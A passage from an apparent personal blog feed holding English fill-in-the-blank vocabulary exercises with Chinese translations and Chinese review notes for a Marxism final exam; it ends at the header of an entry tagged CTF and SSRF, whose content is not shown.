problems.<br><strong>选填词汇</strong>：reputable（声誉好的；可信的）<br><strong>翻译</strong>：这个网站很可靠，因为我在这个信誉良好的网站上购物多次，从未出现过问题。  </p><h4 id="19"><a href="#19" class="headerlink" title="19."></a>19.</h4><p><strong>题目</strong>：“What do you think the author meant when …?” is a common book club question, which __________ serious analysis of a topic.<br><strong>选填词汇</strong>：provokes（引发；激起）<br><strong>翻译</strong>：“你认为作者在……时想表达什么？”是读书俱乐部的常见问题，它引发对某一主题的深入分析。  </p><h4 id="20"><a href="#20" class="headerlink" title="20."></a>20.</h4><p><strong>题目</strong>：Just as we all admire heroes, we look to others for inspiration and __________, but change has to start with you, as an individual.<br><strong>选填词汇</strong>：aspiration（抱负；志向）<br><strong>翻译</strong>：正如我们都崇拜英雄一样，我们从他人那里寻求灵感和抱负，但改变必须从作为个体的你开始。  </p><h4 id="21"><a href="#21" class="headerlink" title="21."></a>21.</h4><p><strong>题目</strong>：The boss said, “The schedule is completely _______ because I do not need to be around and watch when you do your work.”<br><strong>选填词汇</strong>：flexible（灵活的）<br><strong>翻译</strong>：老板说：“日程安排完全灵活，因为你们工作时我不需要在旁边看着。”  </p><h4 id="22"><a href="#22" class="headerlink" title="22."></a>22.</h4><p><strong>题目</strong>：Currently, the stock market is not very stable, but over the long run, the growth of stock funds will _______ the growth of the economy.<br><strong>选填词汇</strong>：parallel（与……平行；与……一致）<br><strong>翻译</strong>：目前股市不太稳定，但从长远来看，股票基金的增长将与经济增长同步。  </p><h4 id="23"><a href="#23" class="headerlink" title="23."></a>23.</h4><p><strong>题目</strong>：These student volunteers can decide how to perform any _______ work, for which they are qualified and have a strong passion.<br><strong>选填词汇</strong>：assigned（分配的；指定的）<br><strong>翻译</strong>：这些学生志愿者可以决定如何完成任何分配的工作，他们对此具备资质且充满热情。  </p><h4 id="24"><a href="#24" class="headerlink" title="24."></a>24.</h4><p><strong>题目</strong>：Human beings, by providing environmental enrichment, encourage animals to explore, interact, and _______ natural behaviors.<br><strong>选填词汇</strong>：exhibit（表现；展示）<br><strong>翻译</strong>：人类通过提供丰富的环境，鼓励动物探索、互动并表现出自然行为。  </p><h4 id="25"><a href="#25" class="headerlink" title="25."></a>25.</h4><p><strong>题目</strong>：Along with extraordinary courage, qualities like __________, teamwork, and most importantly, leadership shine in all of our student activities.<br><strong>选填词汇</strong>：persistence（坚持；毅力）<br><strong>翻译</strong>：除了非凡的勇气，像毅力、团队合作，以及最重要的领导力等品质，在我们所有的学生活动中都熠熠生辉。  </p><h4 id="26"><a href="#26" class="headerlink" title="26."></a>26.</h4><p><strong>题目</strong>：This is a beautiful part of the city to live in, with stylish and architecturally______historic buildings lining the clean and quiet streets.<br><strong>选填词汇</strong>：stunning（令人惊叹的；极美的）<br><strong>翻译</strong>：这是城市中适合居住的美丽区域，干净安静的街道两旁是时尚且具有建筑历史意义的令人惊叹的建筑。  </p><h4 id="27"><a href="#27" class="headerlink" title="27."></a>27.</h4><p><strong>题目</strong>：An energetic search will soon be put in place to ______ a qualified person who can continue with the leadership of a big company.<br><strong>选填词汇</strong>：recruit（招聘；招募）<br><strong>翻译</strong>：很快将展开积极的搜寻，以招聘一位能够继续领导大公司的合格人才。  </p><h4 id="28"><a href="#28" class="headerlink" title="28."></a>28.</h4><p><strong>题目</strong>：I’ve _______ hardships throughout my life, so I think I can handle the stress and achieve my full potential in this company.<br><strong>选填词汇</strong>：endured（忍受；承受）<br><strong>翻译</strong>：我一生都在忍受艰辛，因此我认为自己能应对压力，并在这家公司发挥全部潜力。  </p><h4 id="29"><a href="#29" class="headerlink" title="29."></a>29.</h4><p><strong>题目</strong>：Many people believe that ________ exercise and outdoor sports could better help people stay healthy and strong.<br><strong>选填词汇</strong>：vigorous（剧烈的；有力的）<br><strong>翻译</strong>：许多人认为，剧烈运动和户外运动能更好地帮助人们保持健康和强壮。  </p><h4 id="30"><a href="#30" class="headerlink" title="30."></a>30.</h4><p><strong>题目</strong>：With the help of my family and friends, all of my ________ doubts about myself gradually disappeared and my confidence was restored.<br><strong>选填词汇</strong>：internal（内心的；内在的）<br><strong>翻译</strong>：在家人和朋友的帮助下，我所有内心的自我怀疑逐渐消失，信心也得以恢复。  </p><h4 id="31"><a href="#31" class="headerlink" title="31."></a>31.</h4><p><strong>题目</strong>：According to medical doctors, if a patient’s tumor is small, surgery is __________ performed to remove it.<br><strong>选填词汇</strong>：typically（通常；一般）<br><strong>翻译</strong>：根据医生的说法，如果患者的肿瘤较小，通常会进行手术切除。  </p><h4 id="32"><a href="#32" class="headerlink" title="32."></a>32.</h4><p><strong>题目</strong>：These graduates brought deep-water ocean __________ technology to the region to help explore the areas.<br><strong>选填词汇</strong>：survey（调查；勘测）<br><strong>翻译</strong>：这些毕业生将深水海洋勘测技术带到该地区，以帮助探索这些区域。  </p><h4 id="33"><a href="#33" class="headerlink" title="33."></a>33.</h4><p><strong>题目</strong>：Here is my suggestion in terms of writing process: Before you start writing an essay, just jot down __________ ideas to do brainstorming.<br><strong>选填词汇</strong>：random（随机的；随意的）<br><strong>翻译</strong>：关于写作过程，我的建议是：在开始写文章之前，先随意记下一些想法来进行头脑风暴。  </p><h4 id="34"><a href="#34" class="headerlink" title="34."></a>34.</h4><p><strong>题目</strong>：It is important for athletes to have rigorous physical and technical training to __________ their performance in sports competitions.<br><strong>选填词汇</strong>：maximize（最大化；充分发挥）<br><strong>翻译</strong>：运动员进行严格的身体和技术训练以最大化他们在体育比赛中的表现，这一点很重要。  </p><h4 id="35"><a href="#35" class="headerlink" title="35."></a>35.</h4><p><strong>题目</strong>：After successful completion of these courses, students ____________ the academic requirements for their undergraduate studies.<br><strong>选填词汇</strong>：will have fulfilled（完成；满足）<br><strong>翻译</strong>：成功完成这些课程后，学生将满足本科学习的学术要求。  </p><h4 id="36"><a href="#36" class="headerlink" title="36."></a>36.</h4><p><strong>题目</strong>：Only three short straightforward words, but they were said so __________ that all the audience were impressed.<br><strong>选填词汇</strong>：resolutely（坚决地；果断地）<br><strong>翻译</strong>：只有三个简短直白的词，但他说这话时如此果断，让所有听众都印象深刻。  </p><h4 id="37"><a href="#37" class="headerlink" title="37."></a>37.</h4><p><strong>题目</strong>：This position would ideally suit candidates who have exposure to working on key __________ projects, preferably in the area of geophysics.<br><strong>选填词汇</strong>：strategic（战略的；关键的）<br><strong>翻译</strong>：这个职位最适合有参与关键战略项目经验的候选人，最好是在地球物理领域。  </p><h4 id="38"><a href="#38" class="headerlink" title="38."></a>38.</h4><p><strong>题目</strong>：Internship, which gives you valuable work experience, can offer you a(n) __________ opportunity to be competitive in the job market.<br><strong>选填词汇</strong>：exceptional（非凡的；特殊的）<br><strong>翻译</strong>：实习能为你提供宝贵的工作经验，为你在就业市场中提供一个具有竞争力的特殊机会。  </p><h4 id="39"><a href="#39" class="headerlink" title="39."></a>39.</h4><p><strong>题目</strong>：He understood that his __________ the dream was not for himself but for the people who had the same hopes and passions as him.<br><strong>选填词汇</strong>：chasing（追逐；追求）<br><strong>翻译</strong>：他明白，他追逐梦想不是为了自己，而是为了那些与他有着相同希望和热情的人。  </p><h4 id="40"><a href="#40" class="headerlink" title="40."></a>40.</h4><p><strong>题目</strong>：He gave us very __________ instructions on how to handle the new machine, so we all understood what he meant.<br><strong>选填词汇</strong>：explicit（明确的；清楚的）<br><strong>翻译</strong>：他就如何操作这台新机器给了我们非常明确的指示，所以我们都明白了他的意思。  </p><h3 id="二、Expressions-in-use题目、选填词汇及翻译"><a href="#二、Expressions-in-use题目、选填词汇及翻译" class="headerlink" title="二、Expressions in use题目、选填词汇及翻译"></a>二、Expressions in use题目、选填词汇及翻译</h3><h4 id="1-1"><a href="#1-1" class="headerlink" title="1."></a>1.</h4><p><strong>题目</strong>：In Chinese culture, adult children are expected to take care of their aged parents, so they _______________ contact or visit their parents regularly.<br><strong>选填词汇</strong>：are obliged to（有义务；不得不）<br><strong>翻译</strong>：在中国文化中，成年子女被期望照顾年迈的父母，因此他们有义务定期联系或探望父母。  </p><h4 id="2-1"><a href="#2-1" class="headerlink" title="2."></a>2.</h4><p><strong>题目</strong>：Most of the time, people don’t really care about natural disasters and won’t _______________ avoiding them till they are personally affected by one.<br><strong>选填词汇</strong>：get serious about（认真对待）<br><strong>翻译</strong>：大多数时候，人们并不真正关心自然灾害，直到自己亲身经历才会认真对待防灾。  </p><h4 id="3-1"><a href="#3-1" class="headerlink" title="3."></a>3.</h4><p><strong>题目</strong>：When you ________ a friend that you haven’t seen for a long time and have a good chat with him or her, you will surely be delighted.<br><strong>选填词汇</strong>：run into（偶遇；撞见）<br><strong>翻译</strong>：当你偶遇一位久未见面的朋友并与他&#x2F;她好好聊天时，你一定会感到开心。  </p><h4 id="4-1"><a href="#4-1" class="headerlink" title="4."></a>4.</h4><p><strong>题目</strong>：While reading, we need to _________________ facts and opinions in order to have a better and more accurate comprehension.<br><strong>选填词汇</strong>：distinguish between（区分；辨别）<br><strong>翻译</strong>：阅读时，我们需要区分事实和观点，以获得更好、更准确的理解。  </p><h4 id="5-1"><a href="#5-1" class="headerlink" title="5."></a>5.</h4><p><strong>题目</strong>：The growth of the food e-commerce sector in China has played an important role in promoting the sales of agricultural products _________ the fields.<br><strong>选填词汇</strong>：fresh from（刚从……来的；新鲜的）<br><strong>翻译</strong>：中国食品电商行业的发展在促进刚从田间采摘的农产品销售方面发挥了重要作用。  </p><h4 id="6-1"><a href="#6-1" class="headerlink" title="6."></a>6.</h4><p><strong>题目</strong>：If I don’t like someone or something, I might just say I ___________ them, even though it sounds a little rude.<br><strong>选填词汇</strong>：am allergic to（对……过敏；反感）<br><strong>翻译</strong>：如果我不喜欢某人或某物，我可能会说我对他们“过敏”，尽管这听起来有点粗鲁。  </p><h4 id="7-1"><a href="#7-1" class="headerlink" title="7."></a>7.</h4><p><strong>题目</strong>：When the topic was discussed, I quickly _________ because I am not good at things like math and analytical skills.<br><strong>选填词汇</strong>：got lost（迷失；困惑）<br><strong>翻译</strong>：讨论这个话题时，我很快就困惑了，因为我不擅长数学和分析技能之类的事情。  </p><h4 id="8-1"><a href="#8-1" class="headerlink" title="8."></a>8.</h4><p><strong>题目</strong>：It is hoped that some companies will _________________ this small old town to invest and build factories.<br><strong>选填词汇</strong>：become attracted to（对……产生兴趣；被吸引）<br><strong>翻译</strong>：希望一些公司会被这个古老的小镇吸引，来投资建厂。  </p><h4 id="9-1"><a href="#9-1" class="headerlink" title="9."></a>9.</h4><p><strong>题目</strong>：The Tang Dynasty is _______________ a golden age in Chinese history, when Chinese culture spread across much of Asia.<br><strong>选填词汇</strong>：looked upon as（被视为；被看作）<br><strong>翻译</strong>：唐朝被视为中国历史上的黄金时代，当时中国文化传播到亚洲大部分地区。  </p><h4 id="10-1"><a href="#10-1" class="headerlink" title="10."></a>10.</h4><p><strong>题目</strong>：When I first saw the scenery of Mount Huangshan, I was _______: the fascinating pine trees, the spectacular peaks, and the fairyland of clouds and mists.<br><strong>选填词汇</strong>：in awe（敬畏；惊叹）<br><strong>翻译</strong>：当我第一次看到黄山的景色时，我惊叹不已：迷人的松树、壮观的山峰和云雾缭绕的仙境。  </p><h4 id="11-1"><a href="#11-1" class="headerlink" title="11."></a>11.</h4><p><strong>题目</strong>：The group discussion became heated, with creative ideas and suggestions ____________from time to time.<br><strong>选填词汇</strong>：thrown out（提出；抛出）<br><strong>翻译</strong>：小组讨论变得热烈起来，不时有创意的想法和建议被提出。  </p><h4 id="12-1"><a href="#12-1" class="headerlink" title="12."></a>12.</h4><p><strong>题目</strong>：Whenever there is a chance we can help these children, we make a top effort and don’t want to _______________.<br><strong>选填词汇</strong>：let them down（让……失望）<br><strong>翻译</strong>：每当有机会帮助这些孩子时，我们都会全力以赴，不想让他们失望。  </p><h4 id="13-1"><a href="#13-1" class="headerlink" title="13."></a>13.</h4><p><strong>题目</strong>：Science is not my profession, so if you want to discuss it, you could _______________ other people here who know science better than me.<br><strong>选填词汇</strong>：pick the brains of（向……请教；征求意见）<br><strong>翻译</strong>：科学不是我的专业，所以如果你想讨论它，可以向这里比我更懂科学的人请教。  </p><h4 id="14-1"><a href="#14-1" class="headerlink" title="14."></a>14.</h4><p><strong>题目</strong>：I draw inspiration from many teachers who are _______________ their work and try to spread their enthusiasm to their students.<br><strong>选填词汇</strong>：passionate about（对……充满热情）<br><strong>翻译</strong>：我从许多对工作充满热情并试图将热情传递给学生的老师那里汲取灵感。  </p><h4 id="15-1"><a href="#15-1" class="headerlink" title="15."></a>15.</h4><p><strong>题目</strong>：The tourists were awestruck at the __________ of the Great Wall, the building of which started as early as the seventh century B.C.E.   <strong>选填词汇</strong>：magnificence（壮丽；宏伟）   <strong>翻译</strong>：游客们对长城的宏伟惊叹不已，其建造最早可追溯到公元前7世纪。</p><h4 id="16-1"><a href="#16-1" class="headerlink" title="16."></a>16.</h4><p><strong>题目</strong>：If you feel that your grades or your study skills are_____________, you may turn to your teachers for advice.<br><strong>选填词汇</strong>：not up to par（未达标准；不够好）<br><strong>翻译</strong>：如果你觉得自己的成绩或学习能力不够好，可以向老师寻求建议。  </p><h4 id="17-1"><a href="#17-1" class="headerlink" title="17."></a>17.</h4><p><strong>题目</strong>：I had never been to this restaurant before, but it __________ fantastic not only because of its delicious food but also the wonderful service.<br><strong>选填词汇</strong>：turned out（结果是；证明为）<br><strong>翻译</strong>：我以前从未去过这家餐厅，但结果它很棒，不仅因为食物美味，还因为服务出色。  </p><h4 id="18-1"><a href="#18-1" class="headerlink" title="18."></a>18.</h4><p><strong>题目</strong>：If one is always _______________ money, appearance, and social status, they will unfortunately forget what is most important in their life.<br><strong>选填词汇</strong>：obsessed with（痴迷于；沉迷于）<br><strong>翻译</strong>：如果一个人总是沉迷于金钱、外表和社会地位，不幸的是，他们会忘记生活中最重要的东西。  </p><h4 id="19-1"><a href="#19-1" class="headerlink" title="19."></a>19.</h4><p><strong>题目</strong>：The course project that I completed weeks ago has helped me _______ my creativity and intuition which I didn’t even realize I had.<br><strong>选填词汇</strong>：tap into（挖掘；利用）<br><strong>翻译</strong>：几周前完成的课程项目帮助我挖掘了自己甚至未曾意识到的创造力和直觉。  </p><h4 id="20-1"><a href="#20-1" class="headerlink" title="20."></a>20.</h4><p><strong>题目</strong>：Many people probably _______________ fast Internet access is almost everywhere – at home, at work, and even in the most remote areas.<br><strong>选填词汇</strong>：take it for granted that（想当然地认为）<br><strong>翻译</strong>：许多人可能想当然地认为快速互联网接入几乎无处不在——在家、工作场所，甚至在最偏远的地区。  </p><h4 id="21-1"><a href="#21-1" class="headerlink" title="21."></a>21.</h4><p><strong>题目</strong>：It’s probably true that we always ________ the goal that we consider challenging but achievable to gain a sense of accomplishment.<br><strong>选填词汇</strong>：strive for（努力追求；力争）<br><strong>翻译</strong>：或许我们总是在努力追求那些我们认为具有挑战性但可实现的目标，以获得成就感。  </p><h4 id="22-1"><a href="#22-1" class="headerlink" title="22."></a>22.</h4><p><strong>题目</strong>：It’s ______________ to say that the kitchen he installed last month is 100 times better, and now I fortunately have the kitchen I dreamed of.<br><strong>选填词汇</strong>：no exaggeration（毫不夸张；绝非夸大）<br><strong>翻译</strong>：毫不夸张地说，他上个月安装的厨房要好100倍，现在我幸运地拥有了梦想中的厨房。  </p><h4 id="23-1"><a href="#23-1" class="headerlink" title="23."></a>23.</h4><p><strong>题目</strong>：Since the exam __________ what you have learned, you can expect to see some questions from previous assignments.<br><strong>选填词汇</strong>：is based on（基于；以……为基础）<br><strong>翻译</strong>：由于考试以你所学的内容为基础，你可以预期会看到一些来自以前作业的问题。  </p><h4 id="24-1"><a href="#24-1" class="headerlink" title="24."></a>24.</h4><p><strong>题目</strong>：I think journalists work in a timely manner and _______________ daily deadlines or tight working schedules because they were well trained in this way.<br><strong>选填词汇</strong>：are accustomed to（习惯于）<br><strong>翻译</strong>：我认为记者工作及时，且习惯于每日的截止日期或紧凑的工作安排，因为他们受过良好的训练。  </p><h4 id="25-1"><a href="#25-1" class="headerlink" title="25."></a>25.</h4><p><strong>题目</strong>：The situation between us is very challenging, but we have to learn how to handle the difficult situation _____________ improving our relations.<br><strong>选填词汇</strong>：for the sake of（为了……的利益；为了）<br><strong>翻译</strong>：我们之间的情况非常具有挑战性，但为了改善关系，我们必须学会如何处理这一困难局面。  </p><h4 id="26-1"><a href="#26-1" class="headerlink" title="26."></a>26.</h4><p><strong>题目</strong>：The award-winning chef says that since he was young, he __________________ Chinese food because of its rich ingredients and well-balanced nutrition.<br><strong>选填词汇</strong>：has had a passion for（对……有热情）<br><strong>翻译</strong>：这位获奖厨师说，自从年轻时起，他就对中国菜充满热情，因为其食材丰富且营养均衡。  </p><h4 id="27-1"><a href="#27-1" class="headerlink" title="27."></a>27.</h4><p><strong>题目</strong>：When I was traveling in China, I would ride my bike slowly, take pictures of the things that _______________, and talk to people.<br><strong>选填词汇</strong>：caught my eye（吸引我的注意力；引起我的注意）<br><strong>翻译</strong>：在中国旅行时，我会慢慢骑自行车，拍摄吸引我注意的事物，并与人们交谈。  </p><h4 id="28-1"><a href="#28-1" class="headerlink" title="28."></a>28.</h4><p><strong>题目</strong>：As a senior assistant in the lab for quite a few years, I was thrilled to _______________ teach lab techniques to the new students.<br><strong>选填词汇</strong>：be entrusted to（被委托；被赋予）<br><strong>翻译</strong>：作为实验室的资深助理多年，我很兴奋能被委托向新生教授实验技术。  </p><h4 id="29-1"><a href="#29-1" class="headerlink" title="29."></a>29.</h4><p><strong>题目</strong>：It was raining heavily, so she spent the whole afternoon __________ in her dorm room and reading.<br><strong>选填词汇</strong>：holing up（待在……里；躲藏）<br><strong>翻译</strong>：雨下得很大，所以她整个下午都待在宿舍里看书。  </p><h4 id="30-1"><a href="#30-1" class="headerlink" title="30."></a>30.</h4><p><strong>题目</strong>：We will build a closer partnership and ______________________ high-quality cooperation under the Belt and Road Initiative.<br><strong>选填词汇</strong>：remain committed to（坚持；致力于）<br><strong>翻译</strong>：我们将建立更紧密的伙伴关系，并致力于“一带一路”倡议下的高质量合作。  </p><h4 id="31-1"><a href="#31-1" class="headerlink" title="31."></a>31.</h4><p><strong>题目</strong>：I went back to school to get my coaching certification, and my efforts and persistence ___________ in the end.<br><strong>选填词汇</strong>：paid off（取得成功；得到回报）<br><strong>翻译</strong>：我回到学校获取教练证书，我的努力和坚持最终得到了回报。  </p><h4 id="32-1"><a href="#32-1" class="headerlink" title="32."></a>32.</h4><p><strong>题目</strong>：She joined the lab as a summer student and then __________ to complete her fourth-year honors thesis before graduation.<br><strong>选填词汇</strong>：stayed on（留下；继续留下）<br><strong>翻译</strong>：她以暑期学生的身份加入实验室，然后留下在毕业前完成四年级的荣誉论文。  </p><h4 id="33-1"><a href="#33-1" class="headerlink" title="33."></a>33.</h4><p><strong>题目</strong>：The traditions that _______________ from generation to generation will surely enrich our culture and be carried forward.<br><strong>选填词汇</strong>：are passed down（传承；传递）<br><strong>翻译</strong>：世代传承的传统必将丰富我们的文化并得以弘扬。  </p><h4 id="34-1"><a href="#34-1" class="headerlink" title="34."></a>34.</h4><p><strong>题目</strong>：To fight against the common health crisis, China has made great efforts to help other countries _______________ medicines.<br><strong>选填词汇</strong>：in urgent need of（急需；迫切需要）<br><strong>翻译</strong>：为应对共同的健康危机，中国已作出巨大努力，帮助急需药品的其他国家。</p>]]>
    </content>
    <id>https://blog.ziworld.top/2025/06/28/2025-06-28-%E9%80%89%E5%A1%AB/</id>
    <link href="https://blog.ziworld.top/2025/06/28/2025-06-28-%E9%80%89%E5%A1%AB/"/>
    <published>2025-06-28T13:04:00.000Z</published>
    <summary>
      <![CDATA[<h1 id="选填"><a href="#选填" class="headerlink" title="选填"></a>选填</h1><h3 id="一、Words-in-use题目、选填词汇及翻译"><a href="#一、Words-in-use题目、选填词汇及翻译"]]>
    </summary>
    <title>选填</title>
    <updated>2026-03-09T09:40:18.933Z</updated>
  </entry>
  <entry>
    <author>
      <name>ziworld</name>
    </author>
    <category term="默认分类" scheme="https://blog.ziworld.top/categories/%E9%BB%98%E8%AE%A4%E5%88%86%E7%B1%BB/"/>
    <category term="知识点" scheme="https://blog.ziworld.top/tags/%E7%9F%A5%E8%AF%86%E7%82%B9/"/>
    <content>
      <![CDATA[<p>马克思主义的当代价值<br>观察当代世界变化的认识工具<br>指引当代在中国行动的指南针<br>引领人类社会进步的科学真理<br>意识对物质的反作用（意识的能动作用的表现）<br>意识具有目的性和计划性。<br>意识具有创造性。<br>意识具有指导实践改造客观世界的作用。<br>意识具有调控人的行为和生理活动的作用<br>具体分析<br>对立统一规律提供了人们认识世界和改造世界的根本方法–矛盾分析方法。</p><p>矛盾的普遍性和特殊性及其相互关系<br>“两点论” 是指在分析事物的矛盾时，不仅要看到矛盾双方的对立，而且要看到矛盾双方的统一；不仅要看到矛盾体系中存在主要矛盾、矛盾的主要方面， 而且要看到次要矛盾、矛盾的次要方面。“重点论”是指要着重把握主要了盾、矛盾的主要方面，并以此作为解决问题的出发点。<br>矛盾的普遍性和特殊性是辩证统一的关系。矛盾的普遍性即盾的共性，矛盾的特殊性即矛盾的个性。矛盾的共性是无条件的、绝对的，矛盾的个性是有条件的、相对的。任何现实存在的事物的盾都是共性和个性的有机统一，共性寓于个性之中，没有离开个性的共性，也没有离开共性的个性。<br>矛盾的普遍性和特殊性辩证关系原理是马克思主义基本原理同各实际相结合的哲学基础。<br>量变质变规律<br>第一，量变是质变的必要准备。<br>第二，质变是量变的必然结果。<br>第三，量变和质变是相互渗透的。<br>否定之否定规律<br>第一，否定是事物的自我否定、自我发展，是事物内部矛盾运动的结果。<br>第二，否定是事物发展的环节是旧事物向新事物的转变，是从旧质到新质的飞跃。只有经过否定，旧事物才能向新事物转变。<br>第三，否定是新旧事物联系的环节，新事物孕育产生于旧事物、新旧事物是通过否定环节联系起来的。<br>第四，辩证否定的实质是“扬弃” 即新事物对旧事物既批判又继承，既克服其消极因素又保留其积极因素<br>具体分析<br>矛盾分析方法是对立统一规律在方法论上的体现，在唯物辩证法的方法论体系中居于核心地位，是我们认识事物的根本方法。</p><p>科学实践观的意义<br>第一，克服了旧唯物主义的根本缺陷，为辩证唯物主义的创立奠定了科学的理论基础。<br>第二，揭示了实践对认识的决定作用，为能动的、革命的反映论的创立奠定了科学的理论基础。<br>第三，在人类思想史上第一次揭示了社会生活的实践本质，为唯物中见的创立奠定了科学的理论基础。<br>第四，为人们能动地认识世界和改造世界提供了基本的思想方法和工作方法。<br>实践的本质<br>实践具有客观实在性<br>实践具有自觉能动性<br>实践具有社会历史性。<br>实践对认识的决定作用<br>实践是认识的来源。<br>实践是认识发展的动力实践是认识的日的。<br>实践是检验认识真理性的唯一标准。<br>从实践到认识（理性认识和感性认识）<br>第一，理性认识依赖于感性认识。<br>第二，感性认识有待于发展和深化为理性认识。<br>第三，感性认识和理性认识相互渗透、相互包含。<br>真理的绝对性和相对性<br>真理的绝对性和相对性的辩证统从直理的两重性上看真理的绝对性与相对性相互依存，任何真理都既是绝对的，又是相对的真理的绝对性与相对性又是相互包含的。<br>价值的基本特征<br>个人的行为受控于价值观<br>价值具有主体性、客观性、多维性和社会历史性四个基本特性，它们是价值本质的表现。<br>真理与价值在实践中的辩证统一<br>一方面，价值尺度必须以真理为前提。另一方面，人类自身需要的内在尺度，推动着人们不断发现新的真理。<br>守正创新<br>要坚持守正不动摇。所谓守正，就是坚持实事求是，坚持真理性认识，坚持正确政治方向。<br>所谓创新，就是坚持解放思想，破除与客观事物进程不相符合的旧观念、旧模式、旧做法，发现和运用事物的新联系、 新属性、新规律，更有效地认识世界和改造世界。<br>生产力与生产关系的矛盾运动及其规律<br>第一，生产力决定生产关系。<br>第二，生产关系对生产力具有能动的反作用。<br>社会基本矛盾与社会主要矛盾<br>社会基本矛盾和社会主要矛盾不是同一个概念，也不是同一层次的矛盾。社会主要矛盾是社会基本矛盾的具体体现。<br>科学技术<br>正确认识和运用科学技术，首要的就是有合理的社会制度保障科学技术的正确运用，始终坚持使科学技术为人类社会的健康发展服务，让<br>科学技术为人类造福。<br>文化在社会发展中的作用<br>第一，文化为社会发展提供思想指引。<br>第二，文化为社会发展提供精神动力。<br>第三，文化为社会发展提供凝聚力量<br>科学社会主义基本原则的主要内容（注意）<br>第一，资本主义必然灭亡，社会主义必然胜利。<br>第二，无产阶级是最先进最革命的阶级，肩负着推翻资本主义旧世。 建立社会主义和共主义新世界的历史使命<br>第三，无产阶级革命是无产阶级进行斗争的最高形式，以建立无产阶级专政的国家政权为目的。<br>第四，要在生产资料公有制基础上组织生产，以满足全体社会成员的需要为生产的根本目的。<br>第五，要对社会生产进行有计划的指导和调节，实行按劳分配原则。<br>第六，要合乎自然规律地改造和利用自然，努力实现人与自然的和谐共生。<br>第七，必须坚持科学的理论指导，大力发展社会主义先进文化。<br>第八，无产阶级政党是无产阶级的先锋队，社会主义事业必须始终坚持无产阶级政党的领导。<br>第九，社会主义社会要大力解放和发展生产力，逐步消灭剥削和消除两极分化，实现共同富裕和社会全面进步，并最终向共产主义社会过渡。<br>第十，共产主义是人类最美好的社会制度，实现共产主义是共产党人的最高理想<br>科学社会主义基本原则与中国特色社会主义的关系<br>中国特色社会主义始终坚持科学社会主义基本原则。<br>中国特色社会主义既坚持了科学社会主义基本原则，又具有鲜明的民族特色和时代特色。<br>新时代中国特色社会主义在坚持科学社会主义基本原则基础上，在与中国具体实际和中华优秀传统文化结合中，作出了一系列重大创新。<br>社会主义发展道路多样性的原因<br>第一，各个国家的生产力发展状况和社会发展阶段决定了社会主义发展道路具有不同的特点。<br>第二，历史文化传统的差异性是造成不同国家社会主义发展道路多样性的重要条件。<br>第三，时代和实践的不断发展，是造成社会主义发展道路多样性的现实原因。<br>经济全球化的影响及表现（注意）<br>表现<br>第一，生产全球化。<br>第二，贸易全球化。<br>第三，金融全球化<br>动因<br>一是科学技术的进步和生产力的发展为经济全球化提供了坚实的物质基础和根本的推动力。<br>二是跨国公司的发展为经济全球化提供了适宜的企业组织形式。<br>三是各国经济体制的变革和国际经济组织的发展是经济全球化的体制与组织保障<br>影响<br>经济全球化为世界经济增长提供了强劲动力，促进了商品和资本流动、科技和文明进步、各国人民交往。<br>积极作用:第一，经济全球化为发展中国家提供先进技术和管理经验。<br>第二，经济全球化为发展中国家提供更多的就业机会。<br>第三，经济全球化推动发展中国家国际贸易的发展。<br>第四，经济全球化促进发展中国家跨国公司的发展。<br>负面影响：<br>发达国家与发展中国家在经济全球化进程中的地位和收益不平等、不平衡。<br>一定程度上增加了经济风险。<br>加剧了发展中国家资源短缺和环境污染。<br>人民群众是历史的创造者（注意）<br>人民群众是社会物质财富的创造者。<br>人民群众是历史的创造者<br>人民群众是社会精神财富的创造者。<br>人民群众是社会变革的决定力量。<br>社会基本矛盾在历史发展中的作用（注意）<br>首先，生产力是社会基本矛盾运动中最基本的动力因素，是人类社会发展和进步的最终决定力量。<br>其次，社会基本矛盾特别是生产力和生产关系的矛盾，决定着社会中其他矛盾的存在和发展<br>最后，社会基本矛盾具有不同的表现形式和解决方式，并从根本影响和促进社会形态的变化和发展。<br>实践对认识的决定作用？（注意）<br>①实践是认识的来源<br>②实践是认识发展的动力<br>③实践是认识的目的<br>④实践是检验认识真理的唯一标准<br>人工智能为什么不能代替人类？物质与意识的辩证关系（注意）<br>①人类意识是知情意的统一体，而人工智能只是对人类的理性智能的模拟和扩展，不具备情感、信念、意志等人类意识形式<br>②社会性是人的意识所固有的本质属性，而人工智能不可能直正具备人类的社会属性。<br>③人类的自然语言是思维的物质外壳和意识的现实形式，而人工智能难以完全具备理解自然语言真实意义的能力。<br>④人工智能能够获得人类意识中可以化约为数字信号的内容， 但人脑中总有许多东西是无法被化约的。<br>事物的普遍联系（注意）<br>首先，联系具有客观性<br>其次，联系具有普遍性<br>再次，联系具有多样性。事物联系的主要方式有直接联系与间接联系、内部联系与外部联系、本质联系与非本质联系、必然联系与偶然联系等<br>最后，联系具有条件性。</p>]]>
    </content>
    <id>https://blog.ziworld.top/2025/06/28/2025-06-28-%E9%A9%AC%E5%85%8B%E6%80%9D%E6%9C%9F%E6%9C%AB/</id>
    <link href="https://blog.ziworld.top/2025/06/28/2025-06-28-%E9%A9%AC%E5%85%8B%E6%80%9D%E6%9C%9F%E6%9C%AB/"/>
    <published>2025-06-28T02:38:00.000Z</published>
    <summary>
      <![CDATA[<p>马克思主义的当代价值<br>观察当代世界变化的认识工具<br>指引当代在中国行动的指南针<br>引领人类社会进步的科学真理<br>意识对物质的反作用（意识的能动作用的表现）<br>意识具有目的性和计划性。<br>意识具有创造性。<br>意识具有指导实践改造客观世界的作用。<]]>
    </summary>
    <title>马克思期末</title>
    <updated>2026-03-09T09:40:18.937Z</updated>
  </entry>
  <entry>
    <author>
      <name>ziworld</name>
    </author>
    <category term="CTF" scheme="https://blog.ziworld.top/categories/CTF/"/>
    <category term="练习" scheme="https://blog.ziworld.top/tags/%E7%BB%83%E4%B9%A0/"/>
    <category term="CTF" scheme="https://blog.ziworld.top/tags/CTF/"/>
    <category term="SSRF" scheme="https://blog.ziworld.top/tags/SSRF/"/>
    <content>
